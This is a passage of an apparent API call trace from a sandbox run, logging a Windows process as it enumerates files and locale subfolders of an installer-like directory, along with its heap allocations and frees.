ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4558, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0050.955] FindClose (in: hFindFile=0x4260380 | out: hFindFile=0x4260380) returned 1 [0050.955] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3c30940 | out: hHeap=0x6a0000) returned 1 [0050.955] FindNextFileW (in: hFindFile=0x42602c0, lpFindFileData=0x38cfa7c | out: lpFindFileData=0x38cfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="2052", cAlternateFileName="")) returned 1 [0050.955] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xfffe) returned 0x3c30940 [0050.955] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\2052\\*", lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4260400 [0050.955] FindNextFileW (in: hFindFile=0x4260400, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.955] FindNextFileW (in: hFindFile=0x4260400, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x16c3, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0050.956] FindNextFileW (in: hFindFile=0x4260400, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0xed0c, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0050.956] FindNextFileW (in: hFindFile=0x4260400, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0050.956] FindNextFileW (in: hFindFile=0x4260400, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0050.956] FindClose (in: hFindFile=0x4260400 | out: hFindFile=0x4260400) returned 1 [0050.956] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3c30940 | out: hHeap=0x6a0000) returned 1 [0050.956] FindNextFileW (in: hFindFile=0x42602c0, lpFindFileData=0x38cfa7c | out: lpFindFileData=0x38cfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="2070", cAlternateFileName="")) returned 1 [0050.956] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xfffe) returned 0x3c30940 [0050.956] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\2070\\*", lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4260540 [0050.956] FindNextFileW (in: hFindFile=0x4260540, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.956] FindNextFileW (in: hFindFile=0x4260540, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xfaf, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0050.956] FindNextFileW (in: hFindFile=0x4260540, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x1397e, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0050.956] FindNextFileW (in: hFindFile=0x4260540, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0050.957] FindNextFileW (in: hFindFile=0x4260540, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0050.957] FindClose (in: hFindFile=0x4260540 | out: hFindFile=0x4260540) returned 1 [0050.957] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3c30940 | out: hHeap=0x6a0000) returned 1 [0050.957] FindNextFileW (in: hFindFile=0x42602c0, lpFindFileData=0x38cfa7c | out: lpFindFileData=0x38cfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="3076", cAlternateFileName="")) returned 1 [0050.957] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xfffe) returned 0x3c30940 [0050.957] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\3076\\*", lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4260400 [0050.957] FindNextFileW (in: hFindFile=0x4260400, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.957] FindNextFileW (in: hFindFile=0x4260400, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x18a5, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0050.957] FindNextFileW (in: hFindFile=0x4260400, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0xed90, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0050.957] FindNextFileW (in: hFindFile=0x4260400, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0050.957] FindNextFileW (in: hFindFile=0x4260400, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0050.957] FindClose (in: hFindFile=0x4260400 | out: hFindFile=0x4260400) returned 1 [0050.958] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3c30940 | out: hHeap=0x6a0000) returned 1 [0050.958] FindNextFileW (in: hFindFile=0x42602c0, lpFindFileData=0x38cfa7c | out: lpFindFileData=0x38cfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="3082", cAlternateFileName="")) returned 1 [0050.958] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xfffe) returned 0x3c30940 [0050.958] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\3082\\*", lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4260680 [0050.958] FindNextFileW (in: hFindFile=0x4260680, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.958] FindNextFileW (in: hFindFile=0x4260680, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xbfd, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0050.958] FindNextFileW (in: hFindFile=0x4260680, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x1387c, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0050.958] FindNextFileW (in: hFindFile=0x4260680, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0050.958] FindNextFileW (in: hFindFile=0x4260680, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0050.958] FindClose (in: hFindFile=0x4260680 | out: hFindFile=0x4260680) returned 1 [0050.958] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3c30940 | out: hHeap=0x6a0000) returned 1 [0050.958] FindNextFileW (in: hFindFile=0x42602c0, lpFindFileData=0x38cfa7c | out: lpFindFileData=0x38cfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf3768b28, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Client", cAlternateFileName="")) returned 1 [0050.958] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xfffe) returned 0x3c30940 [0050.959] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Client\\*", lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf3768b28, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4260140 [0050.959] FindNextFileW (in: hFindFile=0x4260140, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf3768b28, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.959] FindNextFileW (in: hFindFile=0x4260140, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xce2bc00, ftCreationTime.dwHighDateTime=0x1cac6d5, ftLastAccessTime.dwLowDateTime=0xce2bc00, ftLastAccessTime.dwHighDateTime=0x1cac6d5, ftLastWriteTime.dwLowDateTime=0xce2bc00, ftLastWriteTime.dwHighDateTime=0x1cac6d5, nFileSizeHigh=0x0, nFileSizeLow=0x31444, dwReserved0=0x0, dwReserved1=0x0, cFileName="Parameterinfo.xml", cAlternateFileName="PARAME~1.XML")) returned 1 [0050.959] FindNextFileW (in: hFindFile=0x4260140, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x79a6a00, ftCreationTime.dwHighDateTime=0x1ca5de3, ftLastAccessTime.dwLowDateTime=0x79a6a00, ftLastAccessTime.dwHighDateTime=0x1ca5de3, ftLastWriteTime.dwLowDateTime=0x79a6a00, ftLastWriteTime.dwHighDateTime=0x1ca5de3, nFileSizeHigh=0x0, nFileSizeLow=0x9882, dwReserved0=0x0, dwReserved1=0x0, cFileName="UiInfo.xml", cAlternateFileName="")) returned 1 [0050.959] FindNextFileW (in: hFindFile=0x4260140, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x79a6a00, ftCreationTime.dwHighDateTime=0x1ca5de3, ftLastAccessTime.dwLowDateTime=0x79a6a00, ftLastAccessTime.dwHighDateTime=0x1ca5de3, ftLastWriteTime.dwLowDateTime=0x79a6a00, ftLastWriteTime.dwHighDateTime=0x1ca5de3, nFileSizeHigh=0x0, nFileSizeLow=0x9882, dwReserved0=0x0, dwReserved1=0x0, cFileName="UiInfo.xml", cAlternateFileName="")) returned 0 [0050.959] FindClose (in: hFindFile=0x4260140 | out: hFindFile=0x4260140) returned 1 [0050.959] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3c30940 | out: hHeap=0x6a0000) returned 1 [0050.959] FindNextFileW (in: hFindFile=0x42602c0, lpFindFileData=0x38cfa7c | out: lpFindFileData=0x38cfa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbc518d00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbc518d00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbc518d00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x3ef6, dwReserved0=0x0, dwReserved1=0x240000, cFileName="DHtmlHeader.html", cAlternateFileName="DHTMLH~1.HTM")) returned 1 [0050.959] FindNextFileW (in: hFindFile=0x42602c0, lpFindFileData=0x38cfa7c | out: lpFindFileData=0x38cfa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xce333000, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xce333000, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xce333000, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x159d5, dwReserved0=0x0, dwReserved1=0x240000, cFileName="DisplayIcon.ico", cAlternateFileName="DISPLA~1.ICO")) returned 1 [0050.959] FindNextFileW (in: hFindFile=0x42602c0, lpFindFileData=0x38cfa7c | out: lpFindFileData=0x38cfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf378ed8a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Extended", cAlternateFileName="")) returned 1 [0050.959] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xfffe) returned 0x3c30940 [0050.959] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Extended\\*", lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf378ed8a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4260700 [0050.960] FindNextFileW (in: hFindFile=0x4260700, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf378ed8a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.960] FindNextFileW (in: hFindFile=0x4260700, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x2a714f00, ftCreationTime.dwHighDateTime=0x1cac6f0, ftLastAccessTime.dwLowDateTime=0x2a714f00, ftLastAccessTime.dwHighDateTime=0x1cac6f0, ftLastWriteTime.dwLowDateTime=0x2a714f00, ftLastWriteTime.dwHighDateTime=0x1cac6f0, nFileSizeHigh=0x0, nFileSizeLow=0x16c82, dwReserved0=0x0, dwReserved1=0x0, cFileName="Parameterinfo.xml", cAlternateFileName="PARAME~1.XML")) returned 1 [0050.960] FindNextFileW (in: hFindFile=0x4260700, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x79a6a00, ftCreationTime.dwHighDateTime=0x1ca5de3, ftLastAccessTime.dwLowDateTime=0x79a6a00, ftLastAccessTime.dwHighDateTime=0x1ca5de3, ftLastWriteTime.dwLowDateTime=0x79a6a00, ftLastWriteTime.dwHighDateTime=0x1ca5de3, nFileSizeHigh=0x0, nFileSizeLow=0x988a, dwReserved0=0x0, dwReserved1=0x0, cFileName="UiInfo.xml", cAlternateFileName="")) returned 1 [0050.960] FindNextFileW (in: hFindFile=0x4260700, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x79a6a00, ftCreationTime.dwHighDateTime=0x1ca5de3, ftLastAccessTime.dwLowDateTime=0x79a6a00, ftLastAccessTime.dwHighDateTime=0x1ca5de3, ftLastWriteTime.dwLowDateTime=0x79a6a00, ftLastWriteTime.dwHighDateTime=0x1ca5de3, nFileSizeHigh=0x0, nFileSizeLow=0x988a, dwReserved0=0x0, dwReserved1=0x0, cFileName="UiInfo.xml", cAlternateFileName="")) returned 0 [0050.960] FindClose (in: hFindFile=0x4260700 | out: hFindFile=0x4260700) returned 1 [0050.960] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3c30940 | out: hHeap=0x6a0000) returned 1 [0050.960] FindNextFileW (in: hFindFile=0x42602c0, lpFindFileData=0x38cfa7c | out: lpFindFileData=0x38cfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf36f6419, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf371c69a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf371c69a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, 